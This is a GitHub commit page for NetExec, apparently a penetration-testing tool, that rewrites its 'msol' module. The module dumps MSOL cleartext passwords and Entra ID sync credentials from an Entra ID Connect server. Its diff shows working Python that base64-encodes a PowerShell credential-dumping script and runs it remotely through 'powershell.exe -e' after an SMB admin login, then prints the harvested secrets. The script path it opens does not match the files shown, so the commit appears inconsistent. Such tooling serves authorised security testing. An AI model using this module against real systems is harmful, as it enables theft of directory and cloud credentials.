Skip to content

Commit 0a8ada4

Browse files
committed
Replace msol module with the new entra-id module
1 parent 915faa2 commit 0a8ada4

3 files changed

Lines changed: 27 additions & 221 deletions

File tree

nxc/data/entra-sync-creds/entra-sync-creds.ps1

Lines changed: 0 additions & 82 deletions
This file was deleted.

nxc/data/msol_dump/msol_dump.ps1

Lines changed: 0 additions & 65 deletions
This file was deleted.

nxc/modules/msol.py

Lines changed: 27 additions & 74 deletions
Original file line numberDiff line numberDiff line change
@@ -1,93 +1,46 @@
1-
# MSOL module for nxc
1+
# MSOL module for NetExec
22
# Author of the module : https://twitter.com/Daahtk
33
# Based on the article : https://blog.xpnsec.com/azuread-connect-for-redteam/
4-
from sys import exit
5-
from os import path
6-
from nxc.paths import TMP_PATH
4+
# Fully rewritten by @NeffIsBack
5+
from base64 import b64encode
76
from nxc.helpers.powershell import get_ps_script
87

98

109
class NXCModule:
10+
"""Module by @NeffIsBack"""
1111
name = "msol"
12-
description = "Dump MSOL cleartext password from the localDB on the Azure AD-Connect Server"
12+
description = "Dump MSOL cleartext password and Entra ID credentials from the localDB on the Entra ID Connect Server"
1313
supported_protocols = ["smb"]
1414
opsec_safe = True
1515
multiple_hosts = True
1616

17-
def __init__(self, context=None, module_options=None):
18-
self.use_embedded = None
19-
self.MSOL_PS1 = None
20-
self.msol_embedded = None
21-
self.cmd = None
22-
self.msolmdl = None
23-
self.msol = None
24-
self.tmp_share = None
25-
self.share = None
26-
self.tmp_dir = None
27-
self.context = context
28-
self.module_options = module_options
17+
def __init__(self):
18+
self.context = None
19+
self.module_options = None
2920

30-
def options(self, context, module_options):
31-
"""MSOL_PS1 // Path to the msol binary on your computer"""
32-
self.tmp_dir = "C:\\Windows\\Temp\\"
33-
self.share = "C$"
34-
self.tmp_share = self.tmp_dir.split(":")[1]
35-
self.msol = "msol.ps1"
36-
self.use_embedded = True
37-
self.msolmdl = self.cmd = ""
38-
39-
with open(get_ps_script("msol_dump/msol_dump.ps1")) as msolsc:
40-
self.msol_embedded = msolsc.read()
21+
self.entra_id_psscript = ""
4122

42-
if "MSOL_PS1" in module_options:
43-
self.MSOL_PS1 = module_options["MSOL_PS1"]
44-
self.use_embedded = False
23+
with open(get_ps_script("msol_dump/entra-sync-creds.ps1")) as psFile:
24+
for line in psFile:
25+
if line.startswith("#") or line.strip() == "":
26+
continue
27+
else:
28+
self.entra_id_psscript += line.strip() + "\n"
4529

46-
def exec_script(self, _, connection):
47-
command = f"C:\\windows\\system32\\WindowsPowershell\\v1.0\\powershell.exe {self.tmp_dir}msol.ps1"
48-
return connection.execute(command, True)
30+
def options(self, context, module_options):
31+
"""No module options available."""
4932

5033
def on_admin_login(self, context, connection):
51-
if self.use_embedded:
52-
file_to_upload = f"{TMP_PATH}/msol.ps1"
34+
psScript_b64 = b64encode(self.entra_id_psscript.encode("UTF-16LE")).decode("utf-8")
35+
out = connection.execute(f"powershell.exe -e {psScript_b64} -OutputFormat Text", True)
5336

54-
try:
55-
with open(file_to_upload, "w") as msol:
56-
msol.write(self.msol_embedded)
57-
except FileNotFoundError:
58-
context.log.fail(f"Impersonate file specified '{file_to_upload}' does not exist!")
59-
exit(1)
60-
61-
else:
62-
if path.isfile(self.MSOL_PS1):
63-
file_to_upload = self.MSOL_PS1
64-
else:
65-
context.log.fail(f"Cannot open {self.MSOL_PS1}")
66-
exit(1)
37+
if "CLIXML" in out:
38+
out = out.split("CLIXML")[1].split("<Objs Version")[0]
6739

68-
context.log.display(f"Uploading {self.msol}")
69-
with open(file_to_upload, "rb") as msol:
70-
try:
71-
connection.conn.putFile(self.share, f"{self.tmp_share}{self.msol}", msol.read)
72-
context.log.success("Msol script successfully uploaded")
73-
except Exception as e:
74-
context.log.fail(f"Error writing file to share {self.tmp_share}: {e}")
75-
return
76-
try:
77-
if self.cmd == "":
78-
context.log.display("Executing the script")
79-
p = self.exec_script(context, connection)
80-
for line in p.splitlines():
81-
p1, p2 = line.split(" ", 1)
82-
context.log.highlight(f"{p1} {p2}")
40+
for line in out.splitlines():
41+
if not line.strip():
42+
continue
43+
if "[!]" in line:
44+
context.log.fail(line.replace("[!]", "").strip())
8345
else:
84-
context.log.fail("Script Execution Impossible")
85-
86-
except Exception as e:
87-
context.log.fail(f"Error running command: {e}")
88-
finally:
89-
try:
90-
connection.conn.deleteFile(self.share, f"{self.tmp_share}{self.msol}")
91-
context.log.success("Msol script successfully deleted")
92-
except Exception as e:
93-
context.log.fail(f"[OPSEC] Error deleting msol script on {self.share}: {e}")
46+
context.log.highlight(line.strip())

0 commit comments

Comments
 (0)